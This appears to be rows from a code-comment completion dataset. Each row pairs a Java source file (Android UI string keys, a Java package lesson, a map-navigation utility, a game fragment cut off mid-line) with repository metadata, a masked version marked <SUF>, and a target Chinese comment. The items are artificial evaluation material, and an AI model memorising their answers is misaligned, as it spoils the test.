首页-文件编码格式 */ static final String INDEX_LBL_CODE_FORMAT = "index.lblCodeFormat"; /** 首页-执行创建 */ static final String INDEX_BTN_RUN_CREATE = "index.btnRunCreate"; /** 首页-保存配置文件 */ static final String INDEX_BTN_SAVE_CONFIG = "index.btnSaveConfig"; /** 首页-数据库数右键打开连接 */ static final String INDEX_TVMI_OPEN_CONNECT = "index.tvmiOpenConnect"; /** 首页-数据库数右键关闭连接 */ static final String INDEX_TVMI_CLOSE_CONNECT = "index.tvmiCloseConnect"; /** 首页-数据库数右键修改连接 */ static final String INDEX_TVMI_UPDATE_CONNECT = "index.tvmiUpdateConnect"; /** 首页-数据库数右键删除连接 */ static final String INDEX_TVMI_DELETE_CONNECT = "index.tvmiDeleteConnect"; /** 首页-数据库数右键生成全库 */ static final String INDEX_TVMI_CREATE_FULL_DB = "index.tvmiCreateFullDB"; // ========================使用帮助区域=============================== /** 使用帮助-当前版本 */ static final String INSTRUCTION_LBL_Version = "instruction.lblVersion"; /** 使用帮助-使用帮助 */ static final String INSTRUCTION_LBL_INSTRUCTIONS = "instruction.lblInstructions"; /** 使用帮助-开源地址 */ static final String INSTRUCTION_LBL_PROJECT_PATH = "instruction.lblProjectPath"; /** 使用帮助-模板仓库 */ static final String INSTRUCTION_LBL_TEMPLATE_PATH = "instruction.lblTemplatePath"; /** 使用帮助-QQ交流群 */ static final String INSTRUCTION_LBL_TALK_GROUP_IN_QQ = "instruction.lblTalkGroupInQQ"; /** 使用帮助-作者邮箱 */ static final String INSTRUCTION_LBL_AUTHORS_EMAIL = "instruction.lblAuthorsEmail"; // =======================设置区域================================ /** 设置-语言 */ static final String SETTING_LBL_LANGUAGE = "setting.lblLanguage"; // ======================新建数据库连接============================== /** 数据库连接-连接名称 */ static final String CONN_LBL_CONN_NAME = "conn.lblConnName"; /** 数据库连接-连接地址 */ static final String CONN_LBL_CONN_URL = "conn.lblConnURL"; /** 数据库连接-端口号 */ static final String CONN_LBL_LISTEN_PORT = "conn.lblListenPort"; /** 数据库连接-数据库类型 */ static final String CONN_LBL_DB_TYPE = "conn.lblDBType"; /** 数据库连接-数据库名字 */ static final String CONN_LBL_DB_NAME = "conn.lblDBName"; /** 数据库连接-用户名 */ static final String CONN_LBL_USER_NAME = "conn.lblUserName"; /** 数据库连接-用户密码 */ static final String CONN_LBL_USER_PWD = "conn.lblUserPwd"; /** 数据库连接-数据库编码 */ static final String CONN_LBL_DB_CODING = "conn.lblDBCoding"; /** 数据库连接-连接名称 */ static final String CONN_TXT_CONN_NAME = "conn.txtConnName"; /** 数据库连接-连接地址 */ static final String CONN_TXT_CONN_URL = "conn.txtConnURL"; /** 数据库连接-端口号 */ static final String CONN_TXT_LISTEN_PORT = "conn.txtListenPort"; /** 数据库连接-数据库类型 */ static final String CONN_CBO_DB_TYPE = "conn.cboDBType"; /** 数据库连接-数据库名称 */ static final String CONN_TXT_DB_NAME = "conn.txtDBName"; /** 数据库连接-用户名字 */ static final String CONN_TXT_USER_NAME = "conn.txtUserName"; /** 数据库连接-用户密码 */ static final String CONN_TXT_USER_PWD = "conn.txtUserPwd"; /** 数据库 <SUF>*/ static final String CONN_BTN_TEST_CONN = "conn.btnTestConn"; /** 数据库连接-保存 */ static final String CONN_BTN_SAVE = "conn.btnSave"; /** 数据库连接-取消 */ static final String CONN_BTN_CANCEL = "conn.btnCancel"; // ========================配置信息================================== /** 数据库连接-提示语句 */ static final String CONFIG_LBL_TIPS = "config.lblTips"; /** 数据库连接-配置信息文件名 */ static final String CONFIG_TD_INFO = "config.tdInfo"; /** 数据库连接-操作 */ static final String CONFIG_TD_OPERATION = "config.tdOperation"; /** 数据库连接-加载 */ static final String CONFIG_BTN_LOAD = "config.btnLoad"; /** 数据库连接-删除 */ static final String CONFIG_BTN_DATELE = "config.btnDelete"; // ========================设置================================== /** 设置实体类-是否创建 */ static final String SET_ENTITY_TD_CREATE = "setEntity.tdcreate"; /** 设置实体类-数据库列名 */ static final String SET_ENTITY_TD_COLUMN = "setEntity.tdColumn"; /** 设置实体类-SQL数据类型 */ static final String SET_ENTITY_TD_SQL_TYPE = "setEntity.tdSqlType"; /** 设置实体类-java数据类型 */ static final String SET_ENTITY_TD_JAVA_TYPE = "setEntity.tdJavaType"; /** 设置实体类-字段属性名 */ static final String SET_ENTITY_TD_FIELD = "setEntity.tdField"; /** 设置实体类-表的别名 */ static final String SET_ENTITY_LBL_TABLE_ALIAS = "setEntity.lblTableAlias"; /** 设置实体类-表的别名 */ static final String SET_ENTITY_TXT_TABLE_ALIAS = "setEntity.txtTableAlias"; /** 设置实体类-主键名称 */ static final String SET_ENTITY_LBL_PRIMARY_KEY = "setEntity.lblPrimaryKey"; /** 设置实体类-主键名称 */ static final String SET_ENTITY_TXT_PRIMARY_KEY = "setEntity.txtPrimaryKey"; /** 设置实体类- 自定属性类型 */ static final String SET_ENTITY_LBL_KEY = "setEntity.lblKey"; /** 设置实体类-自定属性类型 */ static final String SET_ENTITY_TXT_KEY = "setEntity.txtKey"; /** 设置实体类-自定属性类型名称 */ static final String SET_ENTITY_LBL_VALUE = "setEntity.lblValue"; /** 设置实体类-自定属性类型名称 */ static final String SET_ENTITY_TXT_VALUE = "setEntity.txtValue"; /** 设置实体类-字段驼峰命名 */ static final String SET_CHK_FIELD_CAMEL = "setEntity.chkFieldCamel"; /** 设置-表格详情 */ static final String SET_TBL_TIPS = "set.tblTips"; /** 设置-列详情 */ static final String SET_TD_DESCRIBE = "set.tdDescribe"; /** 设置-提示语句 */ static final String SET_LBL_TIPS = "set.lblTips"; /** 设置-保存配置 */ static final String SET_BTN_SAVE_CONFIG = "set.btnSaveConfig"; /** 设置-添加自定义属性 */ static final String SET_LBL_ADD_CUSTOM_PROPERTY = "set.lblAddCustomProperty"; /** 设置-详情 */ static final String SET_LBL_DESCRIBE = "set.lblDescribe"; /** 设置-添加属性key */ static final String SET_TXT_KEY = "set.txtKey"; /** 设置-添加属性value */ static final String SET_TXT_VALUE = "set.txtValue"; /** 设置-添加属性描述 */ static final String SET_TXT_DESCRIBE = "set.txtDescribe"; /** 设置-添加属性 */ static final String SET_BTN_ADD_PROPERTY = "set.btnAddProperty"; /** 设置-模板 */ static final String SET_LBL_TEMPLATE = "set.lblTemplate"; /** 设置-模板 */ static final String SET_CBO_TEMPLATE = "set.cboTemplate"; /** 设置-确定 */ static final String SET_BTN_CONFIRM = "set.btnConfirm"; /** 设置-取消 */ static final String SET_BTN_CANCEL = "set.btnCancel"; /** 设置-取消设置的提示 */ static final String SET_BTN_CANCEL_TIPS = "set.btnCancelTips"; /** 设置-覆盖存在的文件 */ static final String SET_CHK_OVERRIDE_FILE = "set.chkOverrideFile"; /** 设置-根据数据库类型自动选择 */ static final String SET_ABSTRACT_AUTOMATIC = "set.abstractAutomatic"; /** 设置-表格属性中删除menu */ static final String SET_TBL_MENU_ITEM_DELETE = "set.tblMenuItemDelete"; /** 设置-表格属性中删除提示语句 */ static final String SET_TBL_MENU_ITEM_DELETE_CONFIRM = "set.tblMenuItemDeleteConfirm"; /** 设置-通用包名 */ static final String SET_COMMON_PACKAGE_NAME = "set.commonPackageName"; /** 设置-通用类名 */ static final String SET_COMMON_CLASS_NAME = "set.commonClassName"; /** 设置-通用后缀名 */ static final String SET_COMMON_SUFFIX = "set.commonSuffix"; /** 设置-通用模板名 */ static final String SET_COMMON_TEMPLATE_NAME = "set.commonTemplateName"; /** 设置-文本属性包名 */ static final String SET_LBL_PACKAGE_NAME = "set.lblPackageName"; /** 设置-文本属性类名 */ static final String SET_LBL_CLASS_NAME = "set.lblClassName"; /** 设置-输入框属性包名 */ static final String SET_TXT_PACKAGE_NAME = "set.txtPackageName"; /** 设置-输入框属性类名 */ static final String SET_TXT_CLASS_NAME = "set.txtClassName"; }
1
44397_1
package oo; /** * 包机制是java中管理类的重要手段。 * 大量同名 的类,通过包很容易解决类重名的问题,也可以对类有效的管理 * 包名:域名倒着写+域块名称 * 资料:http://www.sxt.cn/Java_jQuery_in_action/Main_Package_in_JDK.html * java.lang 不需要导入就能用 * JDK中 主要包 java.lang, java.awt , java.net, java.io, java.util */ public class TestBao { /** * 封装,继承,多态 * 抽象类,接口,内部类 */ public static class TestInstanceOf { public static void main(String[] args) { } } }
ElimYuan/learn-java
src/main/java/oo/TestBao.java
188
/** * 封装,继承,多态 * 抽象类,接口,内部类 */
block_comment
zh-cn
package oo; /** * 包机制是java中管理类的重要手段。 * 大量同名 的类,通过包很容易解决类重名的问题,也可以对类有效的管理 * 包名:域名倒着写+域块名称 * 资料:http://www.sxt.cn/Java_jQuery_in_action/Main_Package_in_JDK.html * java.lang 不需要导入就能用 * JDK中 主要包 java.lang, java.awt , java.net, java.io, java.util */ public class TestBao { /** * 封装, <SUF>*/ public static class TestInstanceOf { public static void main(String[] args) { } } }
1
32294_25
package com.ellfors.testdemo.util; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.net.Uri; import android.text.TextUtils; import android.view.View; import android.webkit.URLUtil; import java.util.ArrayList; import java.util.List; /** * 导航工具类 * (以火星坐标系为准) */ public class NavigationUtil { private static final String GD_PACKAGE = "com.autonavi.minimap"; private static final String BD_PACKAGE = "com.baidu.BaiduMap"; private static final String TX_PACKAGE = "com.tencent.map"; private static final String GD_NAME = "高德地图"; private static final String BD_NAME = "百度地图"; private static final String TX_NAME = "腾讯地图"; private static final String ERROR_TIPS = "请安装高德地图或百度地图"; private static final String TX_KEY = "KOQBZ-JTYHW-KGBRQ-O72HF-TUG6Z-UQBEI"; /** * 弹出选择地图列表 * * @param context 上下文 * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ public static void showMapsList(final Activity context, final double lon, final double lat, final String describle) { if (context == null || TextUtils.isEmpty(describle) || lon == 0 || lat == 0) return; DialogUtil.showChooseSelectDialog( context, getInstallMapNames(), new DialogChooseListAdapter.OnItemClickListener() { @Override public void onItemClick(View view, int position) { switch (getInstallMapNames().get(position)) { case GD_NAME: openGaoDeMap(context, lon, lat, describle); break; case BD_NAME: openBaiduMap(context, lon, lat, describle); break; case TX_NAME: openTencentMap(context, lon, lat, describle); default: break; } } } ); } /** * 高德导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openGaoDeMap(Context context, double lon, double lat, String describle) { try { if (isInstallPackage(context, GD_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("amapuri://route/plan") .append("?sourceApplication=") .append("天匠工程师") .append("&dname=") .append(describle) .append("&dlat=") .append(lat) .append("&dlon=") .append(lon) .append("&dev=0") .append("&t=0"); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(GD_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { StringBuilder url = new StringBuilder(); url .append("https://uri.amap.com/navigation") .append("?to=") .append(lon) .append(",") .append(lat) .append(",") .append(describle) .append("&mode=car&policy=0"); openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 百度导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openBaiduMap(Context context, double lon, double lat, String describle) { double lonEnd = gaoDeToBaidu(lon, lat)[0]; double latEnd = gaoDeToBaidu(lon, lat)[1]; try { if (isInstallPackage(context, BD_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("baidumap://map/direction") .append("?origin=我的位置") .append("&destination=latlng:") .append(latEnd) .append(",") .append(lonEnd) .append("|name:") .append(describle) .append("&mode=driving") .append("&coord_type=bd09ll") .append("&src=") .append(TextUtils.isEmpty(context.getPackageName()) ? "" : context.getPackageName()); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(BD_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { /** * http://api.map.baidu.com/direction * ?origin=latlng:34.264642646862,108.95108518068|name:我家 * &destination=大雁塔 * &mode=driving * &region=西安 * &output=html * &src=webapp.baidu.openAPIdemo */ // StringBuilder url = new StringBuilder(); // url.append("http://api.map.baidu.com/direction"); // // url.append("?origin=latlng:40.047669,116.313082|name:我的位置"); // // url.append("&destination=latlng:"); // url.append(latEnd); // url.append(","); // url.append(lonEnd); // url.append("|name:"); // url.append(describle); // // url.append("&coord_type=bd09ll"); // url.append("mode=driving"); // url.append("&output=html"); // url.append("&src=com.ellfors.testdemo"); String url = "http://api.map.baidu.com/direction?origin=我的位置&destination=latlng:" + latEnd + "," + lonEnd + "|name:大雁塔&mode=driving&output=html&src=webapp.baidu.openAPIdemo"; openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 腾讯导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openTencentMap(Context context, double lon, double lat, String describle) { try { if (isInstallPackage(context, TX_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("qqmap://map/routeplan") .append("?type=drive") .append("&from=我的位置") .append("&fromcoord=CurrentLocation") .append("&to=") .append(describle) .append("&tocoord=") .append(lat) .append(",") .append(lon) .append("&referer=") .append(TX_KEY); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(TX_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { StringBuilder url = new StringBuilder(); url .append("https://apis.map.qq.com/uri/v1/routeplan") .append("?type=drive") .append("&to=") .append(describle) .append("&tocoord=") .append(lat) .append(",") .append(lon) .append("&policy=2") .append("&referer=") .append(TX_KEY); openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 打开浏览器 */ private static void openUrl(Context context, String url) { // 判断url是否有效地址 if (!URLUtil.isNetworkUrl(url) || context == null) return; // 调用系统浏览器 Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); Uri content_url = Uri.parse(url); intent.setData(content_url); context.startActivity(intent); } /** * 判断手机是否有APP */ private static boolean isInstallPackage(Context context, String packageName) { final PackageManager packageManager = context.getPackageManager();// 获取packagemanager List<PackageInfo> pinfo = packageManager.getInstalledPackages(0);// 获取所有已安装程序的包信息 if (pinfo != null) { for (int i = 0; i < pinfo.size(); i++) { String pn = pinfo.get(i).packageName; if (pn.equals(packageName)) { return true; } } } return false; } /** * 获取可使用的地图名称列表 */ private static List<String> getInstallMapNames() { List<String> list = new ArrayList<>(); list.add(GD_NAME); list.add(BD_NAME); list.add(TX_NAME); return list; } /** * 百度转高德坐标系 * * @param bd_lon 百度纬度 * @param bd_lat 百度经度 * @return double[0]高德经度 double[1]高德纬度 */ public static double[] bdToGaoDe(double bd_lon, double bd_lat) { double[] gd_lat_lon = new double[2]; double PI = 3.14159265358979324 * 3000.0 / 180.0; double x = bd_lon - 0.0065, y = bd_lat - 0.006; double z = Math.sqrt(x * x + y * y) - 0.00002 * Math.sin(y * PI); double theta = Math.atan2(y, x) - 0.000003 * Math.cos(x * PI); gd_lat_lon[0] = z * Math.cos(theta); gd_lat_lon[1] = z * Math.sin(theta); return gd_lat_lon; } /** * 高德转百度坐标系 * * @param gd_lon 高德经度 * @param gd_lat 高德纬度 * @return double[0]百度经度 double[1]百度纬度 */ public static double[] gaoDeToBaidu(double gd_lon, double gd_lat) { double[] bd_lat_lon = new double[2]; double PI = 3.14159265358979324 * 3000.0 / 180.0; double x = gd_lon, y = gd_lat; double z = Math.sqrt(x * x + y * y) + 0.00002 * Math.sin(y * PI); double theta = Math.atan2(y, x) + 0.000003 * Math.cos(x * PI); bd_lat_lon[0] = z * Math.cos(theta) + 0.0065; bd_lat_lon[1] = z * Math.sin(theta) + 0.006; return bd_lat_lon; } /** * 计算俩点之间的距离 * * @param locLng 本地经度 * @param locLat 本地纬度 * @param targetLng 目标经度 * @param targetLat 目标纬度 * @return 距离(单位:米) */ public static float calculateLineDistance(double locLng, double locLat, double targetLng, double targetLat) { try { double var = 0.01745329251994329D; locLng *= 0.01745329251994329D; locLat *= 0.01745329251994329D; targetLng *= 0.01745329251994329D; targetLat *= 0.01745329251994329D; double sinLocLng = Math.sin(locLng); double sinLocLat = Math.sin(locLat); double cosLocLng = Math.cos(locLng); double cosLocLat = Math.cos(locLat); double sinTargetLng = Math.sin(targetLng); double sinTargetLat = Math.sin(targetLat); double cosTargetLng = Math.cos(targetLng); double cosTargetLat = Math.cos(targetLat); double[] locValues = new double[3]; double[] targetValues = new double[3]; locValues[0] = cosLocLat * cosLocLng; locValues[1] = cosLocLat * sinLocLng; locValues[2] = sinLocLat; targetValues[0] = cosTargetLat * cosTargetLng; targetValues[1] = cosTargetLat * sinTargetLng; targetValues[2] = sinTargetLat; double result = Math.sqrt((locValues[0] - targetValues[0]) * (locValues[0] - targetValues[0]) + (locValues[1] - targetValues[1]) * (locValues[1] - targetValues[1]) + (locValues[2] - targetValues[2]) * (locValues[2] - targetValues[2])); return (float) (Math.asin(result / 2.0D) * 1.27420015798544E7D); } catch (Exception e) { e.printStackTrace(); return 0.0F; } } }
EllforS/TinyDemo
app/src/main/java/com/ellfors/testdemo/util/NavigationUtil.java
3,395
/** * 打开浏览器 */
block_comment
zh-cn
package com.ellfors.testdemo.util; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.net.Uri; import android.text.TextUtils; import android.view.View; import android.webkit.URLUtil; import java.util.ArrayList; import java.util.List; /** * 导航工具类 * (以火星坐标系为准) */ public class NavigationUtil { private static final String GD_PACKAGE = "com.autonavi.minimap"; private static final String BD_PACKAGE = "com.baidu.BaiduMap"; private static final String TX_PACKAGE = "com.tencent.map"; private static final String GD_NAME = "高德地图"; private static final String BD_NAME = "百度地图"; private static final String TX_NAME = "腾讯地图"; private static final String ERROR_TIPS = "请安装高德地图或百度地图"; private static final String TX_KEY = "KOQBZ-JTYHW-KGBRQ-O72HF-TUG6Z-UQBEI"; /** * 弹出选择地图列表 * * @param context 上下文 * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ public static void showMapsList(final Activity context, final double lon, final double lat, final String describle) { if (context == null || TextUtils.isEmpty(describle) || lon == 0 || lat == 0) return; DialogUtil.showChooseSelectDialog( context, getInstallMapNames(), new DialogChooseListAdapter.OnItemClickListener() { @Override public void onItemClick(View view, int position) { switch (getInstallMapNames().get(position)) { case GD_NAME: openGaoDeMap(context, lon, lat, describle); break; case BD_NAME: openBaiduMap(context, lon, lat, describle); break; case TX_NAME: openTencentMap(context, lon, lat, describle); default: break; } } } ); } /** * 高德导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openGaoDeMap(Context context, double lon, double lat, String describle) { try { if (isInstallPackage(context, GD_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("amapuri://route/plan") .append("?sourceApplication=") .append("天匠工程师") .append("&dname=") .append(describle) .append("&dlat=") .append(lat) .append("&dlon=") .append(lon) .append("&dev=0") .append("&t=0"); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(GD_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { StringBuilder url = new StringBuilder(); url .append("https://uri.amap.com/navigation") .append("?to=") .append(lon) .append(",") .append(lat) .append(",") .append(describle) .append("&mode=car&policy=0"); openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 百度导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openBaiduMap(Context context, double lon, double lat, String describle) { double lonEnd = gaoDeToBaidu(lon, lat)[0]; double latEnd = gaoDeToBaidu(lon, lat)[1]; try { if (isInstallPackage(context, BD_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("baidumap://map/direction") .append("?origin=我的位置") .append("&destination=latlng:") .append(latEnd) .append(",") .append(lonEnd) .append("|name:") .append(describle) .append("&mode=driving") .append("&coord_type=bd09ll") .append("&src=") .append(TextUtils.isEmpty(context.getPackageName()) ? "" : context.getPackageName()); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(BD_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { /** * http://api.map.baidu.com/direction * ?origin=latlng:34.264642646862,108.95108518068|name:我家 * &destination=大雁塔 * &mode=driving * &region=西安 * &output=html * &src=webapp.baidu.openAPIdemo */ // StringBuilder url = new StringBuilder(); // url.append("http://api.map.baidu.com/direction"); // // url.append("?origin=latlng:40.047669,116.313082|name:我的位置"); // // url.append("&destination=latlng:"); // url.append(latEnd); // url.append(","); // url.append(lonEnd); // url.append("|name:"); // url.append(describle); // // url.append("&coord_type=bd09ll"); // url.append("mode=driving"); // url.append("&output=html"); // url.append("&src=com.ellfors.testdemo"); String url = "http://api.map.baidu.com/direction?origin=我的位置&destination=latlng:" + latEnd + "," + lonEnd + "|name:大雁塔&mode=driving&output=html&src=webapp.baidu.openAPIdemo"; openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 腾讯导航 * * @param lon 经度 * @param lat 纬度 * @param describle 简述 */ private static void openTencentMap(Context context, double lon, double lat, String describle) { try { if (isInstallPackage(context, TX_PACKAGE)) { StringBuilder loc = new StringBuilder(); loc .append("qqmap://map/routeplan") .append("?type=drive") .append("&from=我的位置") .append("&fromcoord=CurrentLocation") .append("&to=") .append(describle) .append("&tocoord=") .append(lat) .append(",") .append(lon) .append("&referer=") .append(TX_KEY); Intent intent = new Intent(Intent.ACTION_VIEW); intent.setPackage(TX_PACKAGE); intent.setData(Uri.parse(loc.toString())); context.startActivity(intent); } else { StringBuilder url = new StringBuilder(); url .append("https://apis.map.qq.com/uri/v1/routeplan") .append("?type=drive") .append("&to=") .append(describle) .append("&tocoord=") .append(lat) .append(",") .append(lon) .append("&policy=2") .append("&referer=") .append(TX_KEY); openUrl(context, url.toString()); } } catch (Exception e) { e.printStackTrace(); } } /** * 打开浏 <SUF>*/ private static void openUrl(Context context, String url) { // 判断url是否有效地址 if (!URLUtil.isNetworkUrl(url) || context == null) return; // 调用系统浏览器 Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); Uri content_url = Uri.parse(url); intent.setData(content_url); context.startActivity(intent); } /** * 判断手机是否有APP */ private static boolean isInstallPackage(Context context, String packageName) { final PackageManager packageManager = context.getPackageManager();// 获取packagemanager List<PackageInfo> pinfo = packageManager.getInstalledPackages(0);// 获取所有已安装程序的包信息 if (pinfo != null) { for (int i = 0; i < pinfo.size(); i++) { String pn = pinfo.get(i).packageName; if (pn.equals(packageName)) { return true; } } } return false; } /** * 获取可使用的地图名称列表 */ private static List<String> getInstallMapNames() { List<String> list = new ArrayList<>(); list.add(GD_NAME); list.add(BD_NAME); list.add(TX_NAME); return list; } /** * 百度转高德坐标系 * * @param bd_lon 百度纬度 * @param bd_lat 百度经度 * @return double[0]高德经度 double[1]高德纬度 */ public static double[] bdToGaoDe(double bd_lon, double bd_lat) { double[] gd_lat_lon = new double[2]; double PI = 3.14159265358979324 * 3000.0 / 180.0; double x = bd_lon - 0.0065, y = bd_lat - 0.006; double z = Math.sqrt(x * x + y * y) - 0.00002 * Math.sin(y * PI); double theta = Math.atan2(y, x) - 0.000003 * Math.cos(x * PI); gd_lat_lon[0] = z * Math.cos(theta); gd_lat_lon[1] = z * Math.sin(theta); return gd_lat_lon; } /** * 高德转百度坐标系 * * @param gd_lon 高德经度 * @param gd_lat 高德纬度 * @return double[0]百度经度 double[1]百度纬度 */ public static double[] gaoDeToBaidu(double gd_lon, double gd_lat) { double[] bd_lat_lon = new double[2]; double PI = 3.14159265358979324 * 3000.0 / 180.0; double x = gd_lon, y = gd_lat; double z = Math.sqrt(x * x + y * y) + 0.00002 * Math.sin(y * PI); double theta = Math.atan2(y, x) + 0.000003 * Math.cos(x * PI); bd_lat_lon[0] = z * Math.cos(theta) + 0.0065; bd_lat_lon[1] = z * Math.sin(theta) + 0.006; return bd_lat_lon; } /** * 计算俩点之间的距离 * * @param locLng 本地经度 * @param locLat 本地纬度 * @param targetLng 目标经度 * @param targetLat 目标纬度 * @return 距离(单位:米) */ public static float calculateLineDistance(double locLng, double locLat, double targetLng, double targetLat) { try { double var = 0.01745329251994329D; locLng *= 0.01745329251994329D; locLat *= 0.01745329251994329D; targetLng *= 0.01745329251994329D; targetLat *= 0.01745329251994329D; double sinLocLng = Math.sin(locLng); double sinLocLat = Math.sin(locLat); double cosLocLng = Math.cos(locLng); double cosLocLat = Math.cos(locLat); double sinTargetLng = Math.sin(targetLng); double sinTargetLat = Math.sin(targetLat); double cosTargetLng = Math.cos(targetLng); double cosTargetLat = Math.cos(targetLat); double[] locValues = new double[3]; double[] targetValues = new double[3]; locValues[0] = cosLocLat * cosLocLng; locValues[1] = cosLocLat * sinLocLng; locValues[2] = sinLocLat; targetValues[0] = cosTargetLat * cosTargetLng; targetValues[1] = cosTargetLat * sinTargetLng; targetValues[2] = sinTargetLat; double result = Math.sqrt((locValues[0] - targetValues[0]) * (locValues[0] - targetValues[0]) + (locValues[1] - targetValues[1]) * (locValues[1] - targetValues[1]) + (locValues[2] - targetValues[2]) * (locValues[2] - targetValues[2])); return (float) (Math.asin(result / 2.0D) * 1.27420015798544E7D); } catch (Exception e) { e.printStackTrace(); return 0.0F; } } }
0
31992_9
package top.ysccx.myfirstapp; import android.app.AlertDialog; import android.content.ContentValues; import android.content.DialogInterface; import android.content.Intent; import android.database.sqlite.SQLiteDatabase; import android.graphics.Point; import android.media.AudioAttributes; import android.media.AudioManager; import android.media.SoundPool; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.text.format.Time; import android.util.Log; import android.view.Display; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.MotionEvent; import android.view.SubMenu; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class Tab1Fragment extends Fragment { private GameConf config; private GameService gameService; private GameView gameView; private Button startButton; private TextView timeTextView; private AlertDialog.Builder lostDialog; private AlertDialog.Builder successDialog; private Timer timer; private int gameTime; private boolean isPlaying = false; private Piece selectedPiece = null; private AudioAttributes ad =new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA) .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC).build(); private SoundPool soundPool = new SoundPool.Builder().setMaxStreams(16).setAudioAttributes(ad).build(); private int sdp; private int wrong; private DataBaseHelper myDBHelper; private SQLiteDatabase db; private EditText et; @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.tab1, null); gameView = view.findViewById(R.id.gameView); setHasOptionsMenu(true); timeTextView = view.findViewById(R.id.timeText); timeTextView.setVisibility(View.INVISIBLE); startButton = view.findViewById(R.id.startButton); sdp = soundPool.load(getContext(),R.raw.sdp,1); wrong = soundPool.load(getContext(),R.raw.wrong,1); //Toast.makeText(getContext(), sb.toString(), Toast.LENGTH_SHORT).show(); init(); return view; } public void onCreateOptionsMenu(Menu menu,MenuInflater inflater){ super.onCreateOptionsMenu(menu, inflater); menu.add(1,1,1,"排行榜"); menu.add(1,2,1,"打乱重排"); SubMenu grade = menu.addSubMenu("难度"); grade.setHeaderTitle("选择游戏难度"); grade.add(1,11,2,"简单"); grade.add(1,12,3,"容易"); grade.add(1,13,4,"困难"); grade.add(1,14,5,"地狱"); menu.add(1,3,3,"重新开始"); menu.add(1,4,4,"退出"); } public boolean onOptionsItemSelected(MenuItem item){ int id = item.getItemId(); switch (id){ case 1: //Toast.makeText(getContext(),"打乱重排",Toast.LENGTH_SHORT).show(); Intent intent = new Intent(); intent.setClass(getContext(), RankingActivity.class); startActivity(intent); break; case 2: gameService.shuffle(); gameView.postInvalidate(); break; case 3: if(isPlaying) { startGame(0); } else { Toast.makeText(getContext(), "你还没有开始游戏呢~", Toast.LENGTH_SHORT).show(); } break; case 4: Toast.makeText(getContext(),"不许走,继续玩!",Toast.LENGTH_SHORT).show(); break; case 11: config.setxSize(5); config.setySize(6); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 12: config.setxSize(6); config.setySize(7); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 13: config.setxSize(7); config.setySize(8); config.setBeginImage(); if(isPlaying){ startGame(0); } break; case 14: config.setxSize(8); config.setySize(9); config.setBeginImage(); if(isPlaying){ startGame(0); } break; } return super.onOptionsItemSelected(item); } /** * 初始化游戏的方法 */ private void init() { Display display = getActivity().getWindowManager().getDefaultDisplay(); Point size = new Point(); display.getSize(size); int screenWidth = size.x; int screenHeight = size.y; config = new GameConf(7, 8, screenWidth, screenHeight, GameConf.DEFAULT_TIME, getContext()); gameService = new GameServiceImpl(this.config); et = new EditText(getContext()); gameView.setGameService(gameService); gameView.setSelectImage(ImageUtil.getSelectImage(getContext())); startButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View source) { startGame(0); startButton.setVisibility(View.INVISIBLE); gameView.setBackgroundColor(0xFFF9E3); timeTextView.setVisibility(View.VISIBLE); } }); // 为游戏区域的触碰事件绑定监听器 this.gameView.setOnTouchListener(new View.OnTouchListener() { public boolean onTouch(View view, MotionEvent e) { if (e.getAction() == MotionEvent.ACTION_DOWN) { gameViewTouchDown(e); } if (e.getAction() == MotionEvent.ACTION_UP) { gameViewTouchUp(e); } return true; } }); // 初始化游戏失败的对话框 lostDialog = createDialog("GAME OVER", "重新开始", R.drawable.lost) .setPositiveButton("确定", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { startGame(0); } }); // 初始化游戏胜利的对话框 successDialog = createDialog("Success", "你真厉害!请输入你的大名!", R.drawable.success).setView(et).setPositiveButton("确定", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { String input = et.getText().toString(); myDBHelper = new 